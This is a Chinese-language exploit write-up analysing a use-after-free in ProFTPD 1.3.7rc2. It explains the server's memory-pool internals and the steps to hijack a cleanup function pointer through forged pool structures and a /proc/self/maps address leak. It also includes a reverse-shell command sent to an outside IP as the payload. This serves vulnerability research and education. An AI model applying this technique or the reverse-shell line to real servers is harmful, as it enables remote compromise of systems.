作者:knaithe@天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/RJUFhx5F-wI_fmX8McMCiQ

漏洞描述:UAF類型的漏洞,通過偽造pool_rec內存池控制結構,可以篡改函數指針,從而達到任意命令執行。

漏洞修復https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49

影響版本:小于v1.3.7rc3

測試版本:v1.3.7rc2

保護機制:Canary/NX/Full RelRO(ubuntu 18.04版本)

環境搭建

調試環境/目標機器:ubuntu 18.04

ProFTPd源碼編譯及部署

// 安裝依賴
apt-get install -y build-essential net-tools git 

// 源碼下載
git clone https://github.com/proftpd/proftpd.git

// 切換到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2

// 生成Makefile文件,帶gdb調試信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl

// 編譯
make -j4

// 打包
apt install -y checkinstall

// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="yuanyue@qianxin.com" \
--install=no \
--strip=no \
--stripso=no

創建匿名用戶

groupadd ftp #添加ftp組
useradd ftp -g ftp -d /var/ftp #添加ftp用戶
passwd ftp #設置匿名ftp用戶密碼為ftp

proftpd.conf匿名登錄配置:如果沒有/usr/etc/proftpd.conf這個文件,將以下內容寫入。

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName          "ProFTPD Default Installation"
ServerType          standalone
DefaultServer           on

# Port 21 is the standard FTP port.
Port                21

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask               022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances            30

# Set the user and group under which the server will run.
User                nobody
Group               nogroup

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
<Directory />
  AllowOverwrite        on
</Directory>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User              ftp
  Group             ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias         anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients            10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin          welcome.msg
  #DisplayFirstChdir        .message

  # Limit WRITE everywhere in the anonymous chroot
  #<Limit WRITE>
  #  DenyAll
  #</Limit>
</Anonymous>

如果有/usr/etc/proftpd.conf這個文件,則注釋掉下面三行配置,允許匿名用戶上傳文件。

  #<Limit WRITE>
  #  DenyAll
  #</Limit>

啟動proftpd服務

// 直接執行
/usr/sbin/proftpd

gdb調試:關閉系統ASLR,同時注釋掉exp里繞獲取maps的連接的線程,讓proftpd第一個子進程就是漏洞進程,暫時沒有找到其它方法在多個子進程里打斷點。

gdb /usr/sbin/proftpd \
 -ex "set detach-on-fork on" \
 -ex "set follow-fork-mode child" \
 -ex "set breakpoint pending on" \
 -ex "b xfer_stor" \
 -ex "b pr_data_xfer" \
 -ex "b pr_data_abort" \
 -ex "b _exit"

漏洞分析

ProFTPD介紹

proftpd服務全程是Professional FTP daemon,是目前最為流行的FTP服務軟件,相比于vsfptd,proftpd配置靈活,可配置選項更多,支持匿名、虛擬主機等多種環境部署,proftpd對中文環境兼容比vsftpd要好,相對于vsftpd使用效率要高很多,但是proftpd安全性相較vsfptd差一點。

proftpd的內存管理是在原有的glibc內置的ptmalloc2內存分配器的基礎上重新封裝的一套內存池管理機制,根據proftpd自己的文檔描述,該alloc_pool機制源于apache的開源項目,至于是源于apache哪個開源項目,proftpd文檔里并沒有說明,我也沒有在apache的項目里找到該內存池源碼,畢竟apache的項目成千上萬。

1669361163076

內存池分配器介紹

關鍵結構

#define CLICK_SZ (sizeof(union align))

CLICK_SZ是一個宏,代表內存對齊的長度,64位系統的值為8。

block_hdr
union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

每一個通過alloc_pool()或者make_sub_pool()函數分配的內存塊,都一個union block_hdr,是用來描述當前內存塊的狀態。

  • h->endp:指向當前內存塊的末尾地址。
  • h->next:指向內存塊鏈表的下一個內存塊。
  • h->first_avail:指向當前內存塊空閑區域的首地址。
pool_rec
struct pool_rec {
  union block_hdr *first;
  union block_hdr *last;
  struct cleanup *cleanups;
  struct pool_rec *sub_pools;
  struct pool_rec *sub_next;
  struct pool_rec *sub_prev;
  struct pool_rec *parent;
  char *free_first_avail;
  const char *tag;
};

struct pool_rec是用來記錄每一個pool狀態的結構,關鍵成員變量的含義描述如下。

first:當前pool鏈表中,第一個pool的指針。

last:當前pool鏈表中,最后一個pool的指針。

cleanups:指向cleanup_t結構體,該結構體在釋放pool時會用到。

sub_pools:指向當前pool的sub pool。

sub_next:指向當前pool的后一個pool。

sub_prev:指向當前pool的前一個pool。

parent:指向當前pool的父pool。

free_first_avail:指向當前pool內存塊的可分配首地址。

tag:可以理解為pool的標簽或者名稱,比如session pool、table pool。

關鍵函數

alloc_pool

alloc_pool()函數是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列內存分配函數的底層核心函數,這些函數只對alloc_pool()函數做了簡單的封裝,我們還是重點介紹alloc_pool()核心函數。

static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
  // 根據請求分配內存大小reqsz的值,按CLICK_SZ對齊計算所需內存大小sz
  /* Round up requested size to an even number of aligned units */
  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  /* For performance, see if space is available in the most recently
   * allocated block.
   */
  // 從pool中取出最近可用的內存塊,如果該pool為空,則函數返回NULL
  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }
  // 計算出當前pool最近有內存塊的空閑區域首地址賦值給first_avail
  first_avail = blok->h.first_avail;
  // 如果請求分配內存大小reqsz為0,函數直接返回NULL
  if (reqsz == 0) {
    /* Don't try to allocate memory of zero length.
     *
     * This should NOT happen normally; if it does, by returning NULL we
     * almost guarantee a null pointer dereference.
     */
    errno = EINVAL;
    return NULL;
  }
  // 根據當前pool可用內存塊的空閑區域首地址 + 所需內存大小sz = 計算所需內存大小sz的末尾地址
  new_first_avail = first_avail + sz;
  // 計算所需內存大小sz的末尾地址,如果小于等于當前內存塊blok的末尾地址,表示當前內存塊blok有足夠的內分配給用戶,并更新當前內存塊blok的可用內存首地址,并返回分配的內存的地址。
  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;  // 并更新當前內存塊blok的空閑區域首地址
    return (void *) first_avail;
  }

  /* Need a new one that's big enough */
  pr_alarms_block();
  // 如果當前blok不足以滿足sz,則重新向ptmalloc內存分配器申請內存塊,并添加到當前pool中
  blok = new_block(sz, exact);
  p->last->h.next = blok;   // 記錄當前pool最近內存塊頭部鏈表的下一個指向新申請的blok
  p->last = blok;           // 將新申請的blok添加到當前pool的內存塊鏈表的末端
  // first_avail指向新申請的blok空閑區域首地址
  first_avail = blok->h.first_avail;
  // 計算所需內存大小sz的末尾地址,也就是新的first_avail地址
  blok->h.first_avail = sz + (char *) blok->h.first_avail; 

  pr_alarms_unblock();
  return (void *) first_avail;
}
new_block

new_block()函數首先while循環遍歷block的空閑鏈表是否有可用的block,沒有則向ptmalloc2內存分配器申請新的內存塊。

static union block_hdr *new_block(int minsz, int exact) {
  union block_hdr **lastptr = &block_freelist;
  union block_hdr *blok = block_freelist;
  // exact表示minsz大小是否準確,如果exact=false,則minsz還需要加上512字節,反之則不用
  if (!exact) {
    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
    minsz *= BLOCK_MINFREE;
  }

  // 遍歷block freelist是否有符合要求的block,有則返回符合要求的block
  while (blok) {
    if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
      *lastptr = blok->h.next;
      blok->h.next = NULL;

      stat_freehit++;
      return blok;
    }

    lastptr = &blok->h.next;
    blok = blok->h.next;
  }

  // block的空閑鏈表沒有符合要求的block則從ptmalloc內存分配器申請
  /* Nope...damn.  Have to malloc() a new one. */
  stat_malloc++;
  return malloc_block(minsz);
}
malloc_block

malloc_block()函數間接調用了malloc()函數申請新內存,并初始化新內存塊的block頭信息

  1. h.next置空。
  2. h.first_avail指向新內存塊偏移sizeof(union block_hdr)大小之后。
  3. h.endp指向內存新內存塊的block地址結尾。
static union block_hdr *malloc_block(size_t size) {
  // 間接調用malloc函數,申請內存大小 = 申請對齊后內存的大小 + block頭大小
  union block_hdr *blok =
    (union block_hdr *) smalloc(size + sizeof(union block_hdr));
  // 更新新內存block的頭信息
  blok->h.next = NULL;
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.endp = size + (char *) blok->h.first_avail;

  return blok;
}
make_sub_pool

make_sub_pool()函數用于在當前pool里申請new_pool,并賦值給當前pool的sub_pool字段,

struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();
  // 創建一個512字節的內存塊
  blok = new_block(0, FALSE);
  // new_pool指向新創建的blok的block_hdr后,first_avail向后挪動pool hdr的大小
  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
  // 給new_pool的頭初始化為0
  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
  new_pool->first = new_pool->last = blok; //初始化new_pool的first和last為blok
  // 如果p為真,將new_pool的parent設置為p,new_pool的sub_next設置為p的sub_pools
  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;
    // 如果p的sub_pools不為空,就將new_pool插入到p的sub_pools里其它pool之前
    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;
    // 將new_pool插入到p的sub_pools里
    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

漏洞觸發

為了方便觸發漏洞,這里我們先關閉系統地址空間布局隨機化(ASLR)。

echo 0 > /proc/sys/kernel/randomize_va_space

然后在啟動proftpd,這里我們可以啟動無子進程方式,需要加上參數-X

/usr/sbin/proftpd -X -n -d10

poc大致步驟

第一步,創建線程A監聽本地端口3247等待連接,線程A阻塞住,創建線程B,連接目標ip和端口,端口為21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服務連上了。

第二步,線程B,發送兩條指令,用來登錄,第一條指令‘USER xxx’,第二條指令‘PASS mmm’,xxx代表用戶名,mmm代表密碼,返回230開頭的信息,表示身份驗證通過,登錄成功。

第三步,線程B,發送一條指令‘TYPE I’,返回‘200 Type set to I\r\n’,接著發送PORT命令,切換proftpd服務為主動模式,讓服務器來連接攻擊者的客戶端線程A監聽的端口,然后再發送一條命令STOR,上傳任意文件,為了開通一個數據傳輸通道,當線程A收到proftpd服務發出的連接請求后會停止阻塞,想辦法讓線程停住,可以通過全局變量+while循環來控制。

第四步,線程B,繼續發送一段命令A給proftpd server,發送完,讓線程A停止等待,立馬讓線程A也發送一段垃圾數據給proftpd服務,由于proftpd服務先收到線程B的發送的上傳文件的命令,程序進入mod_xfer處理線程B上傳文件,并且在poll_ctrl()調用pr_cmd_read()接收到命令A,然后又接收了線程A的垃圾數據寫入進命令A所在的cmd_rec所指向的pool,后續調用strdup時,訪問了這個pool,因為寫入的垃圾數據,導致strdup函數訪問pool時讀取的是垃圾數據并取了地址,出現非法內存的段錯誤。

漏洞觸發

proftpd debug模式運行的崩潰界面,

1669688838932

在gdb調試環境里看到的崩潰堆棧,

1669694343356

漏洞利用

繞過ASLR

前提條件:需要proftpd支持mod_copy模塊,執行configure文件時加上--with-modules=mod_copy參數,這樣proftpd才能支持拷貝粘貼的能力,site cpfr為拷貝,site cpto為粘貼。

繞過思路:ASLR繞過相對較為簡單,proftpd支持mod_copy模塊,在登錄上proftpd服務后,proftpd可以拷貝自身/proc/self/maps來獲取進程內堆、代碼段、libc的起始地址,proftpd默認模塊里,有下載的命令retr,但是沒法直接下載/proc/self/maps文件,所以將/proc/self/maps拷貝到/tmp目錄下,然后把/tmp/maps文件下載下來,可以得到類似這樣的文本內容。

1669357489968

篡改plain_cleanup_cb

利用思路:類似于在ptmalloc2里,劫持__free_hook函數指針一樣,在proftpd里,通過劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函數指針,來控制執行流,從而達到任意命令執行。

不同:在ptmalloc2里,比較常見的是對__free_hook函數指針進行劫持,來控制執行流,__free_hook函數指針是一個全局變量,所以__free_hook的地址相對于libc.so的基址是固定偏移,只要知道了libc在進程中的起始地址,是可以算出__free_hook函數指針這個變量的地址的,只要有穩定的任意地址寫,即可穩定利用,大致內存關系可參考下圖。

1669624936326

但是在proftpd服務的內存池palloc里,palloc在釋放內存池的時候,能劫持的函數指針,目前比較合適的只有pool_rec->cleanups->plain_cleanup_cb這個函數指針,想要篡改plain_cleanup_cb這個函數指針,就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并對其寫入我們想要的數據。pool_rec->cleanups是當前釋放的內存池pool的管理結構struct pool_rec的成員,每個pool的管理結構block_hdrstruct pool_rec都在heap段,plain_cleanup_cb的地址也在heap段,這樣就很難通過偏移計算plain_cleanup_cb在heap段的地址,就很難穩定的利用plain_cleanup_cb劫持來執行任意代碼,pool的內存關系可參考下圖。

1669624287525

(注:在64位系統里,palloc內存池按8字節對齊分配內存)

任意地址寫cmd->pool是線程A控制的內容fake_pool,通過偽造cmd->pool的內容,借用make_sub_pool()函數的任意地址寫(這個任意寫內容不可控)繞過pr_cmd_get_displayable_str()函數內的pr_table_get()對"displayable-str"字符串的檢索,使其檢索失敗,繼續執行并調用pstrdup(cmd->pool, res)函數,res是線程B控制的內容,pstrdup()函數類似于字符串拷貝,通過將cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移,以此來篡改gid_tab->pool的地址內容指向cmd->pool - 0x10的地址,這樣在釋放gid_tab時就會同時釋放掉gid_tab->pool,便可調用我們控制的cleanups,從而達到任意命令執行。

利用步驟

前三步和漏洞觸發流程一樣,

第一步,創建線程A監聽本地端口3247等待連接,線程A阻塞住,創建線程B,連接目標ip和端口,端口為21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服務連上了。

第二步,線程B,發送兩條指令,用來登錄,第一條指令‘USER xxx’,第二條指令‘PASS mmm’,xxx代表用戶名,mmm代表密碼,返回230開頭的信息,表示身份驗證通過,登錄成功。

第三步,線程B,發送一條指令‘TYPE I’,返回‘200 Type set to I\r\n’,接著發送PORT命令,切換proftpd服務為主動模式,讓服務器來連接攻擊者的客戶端線程A監聽的端口,然后再發送一條命令STOR,上傳任意文件,開通一個數據傳輸通道,當線程A收到proftpd服務發出的連接請求后,想辦法讓線程停住,可以通過全局變量+while循環來控制。

從第四步開始有些不同,

第四步,線程B,繼續發送一段命令A給proftpd服務,這個命令A內容是特意構造的,就是我們控制pr_cmd_get_displayable_str()函數里pstrdup(cmd->pool, res)函數的第二個參數res,構造的內容包含cmd->pool - 0x10的地址,發送完,讓線程A停止等待,立馬讓線程A發送一段數據給proftpd服務,這次不是再垃圾數據,是我們精心構造好的惡意的pool_reccleanup_tblok_hdr和反彈shell的命令,后面分別用fake_pool_recfake_cleanup_tfake_blok_hdrgCmd來代表,到此,就等待反彈shell吧。

構造shellcode

說明,這次shellcode的構建,不同于ptmalloc2的內存管理,這次涉及到大家不熟悉的palloc內存池管理,利用內存池及其控制結構pool_rec和blok_hdr來完成利用,第一次理解起來可能麻煩點,如果大家很熟悉palloc內存池內存池的利用,可以忽略這句話。

再上述的利用第四步中,線程B發送的命令,會在poll_ctrl()函數里第933行調用pr_cmd_read()讀取。

1669712411511

線程A發送的shellcode,會在pr_data_xfer()函數第1265行被pr_netio_read()函數讀取。

1669709854648

pr_netio_read()函數的參數cl_buf,在xfer_stor()函數第2026行從cmd分配的sub_pool,所以線程A發送的shellcode直接占據了pool_rec及后面的內存,shellcode偽造的內容及關系圖如下。

1669719720822

gid_tabcmd->poolcmd->notescmd->notes->chains,這4個都是堆上的地址,我們都需要提前計算相對heap偏移。

線程A發送完shellcode后,進入任意寫的流程,會再次調用data.c:933行的pr_cmd_read()函數,此次讀到返回小于0,進入if判斷,進入pr_session_disconnect()函數, 然后會進入到xfer_exit_ev()函數,調用鏈為main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函數會繼續調用pr_cmd_dispatch_phase()_dispatch()函數,到了main.c:287行調用make_sub_pool()函數。

1669714503176

第一個任意地址寫,但是寫的內容不可控制,在make_sub_pool()函數里,通過箭頭指向的兩條語句,任意寫的內容是new_pool的地址,偽造p->sub_pools指向cmd->notes - 0x10,這樣new_pool->sub_next等于cmd->notes - 0x10new_pool->sub_next->sub_prev等同于指向cmd->notes->chains,這個任意寫地址內容就是new_pool的地址,內控不可控,不能直接篡改plain_cleanup_cb函數指針寫入我們想要的內容,所以第一個任意寫內容不可控。

1669714333493

但是我們可以借助這個內容不可控的任意寫,篡改cmd->notes->chains的地址。執行完make_sub_pool()函數,緊接著調用pr_cmd_get_displayable_str()函數,cmd.c:374行任意寫的地方,內容是可控的,res是線程B發送命令的第二個參數。

1669714720749

在不篡改cmd->notes->chains的情況下,程序會在調用完res = pr_table_get(cmd->notes, "displayable-str", NULL)進入if判斷并退出pr_cmd_get_displayable_str()函數,在篡改完cmd->notes->chains的情況下,pr_table_get()函數會返回NULL,繼續執行到pstrdup(cmd->pool, res),具體細節自行調試。

1669772818768

當我們偽造的fake_pool_rec->sub_prev字段指向gid_tab-0x90,偽造res的內容為cmd->pool - 0x10,恰好在pstrdup(cmd->pool, res)時,res寫入的地址剛好是gid_tab的前8字節,也就是gid_tab->pool的地址為cmd->pool - 0x10,如此一來gid_tab->pool->cleanups的地址便指向了cmd->pool->firstcmd->pool->first通過構造指向了cmd->pool->first + 0x50也就是fake_cleanups,所以當調用pr_table_free(gid_tab)時,最終會調用到run_cleanups()函數,參數為fake_cleanups,fake_cleanups是我們偽造好的,fake_cleanups->data指向一段比如反彈shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00fake_cleanups->plain_cleanup_cb指向system的地址,即可通過system函數調用反彈shell命令。

但有一點,fake_blok_hdr->end必須遠大于fake_blok_hdr->first_avail,建議0x300以上。

1669773222238

執行結果

1669775131847

總結

有三個必須注意到的點,

  1. 建議關閉系統ASLR調試和利用。
  2. gid_tabcmd->poolcmd->notescmd->notes->chains,這4個都是堆上的地址,我們都需要提前計算相對heap偏移。
  3. 本次利用并不穩定,僅供學習。

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2032/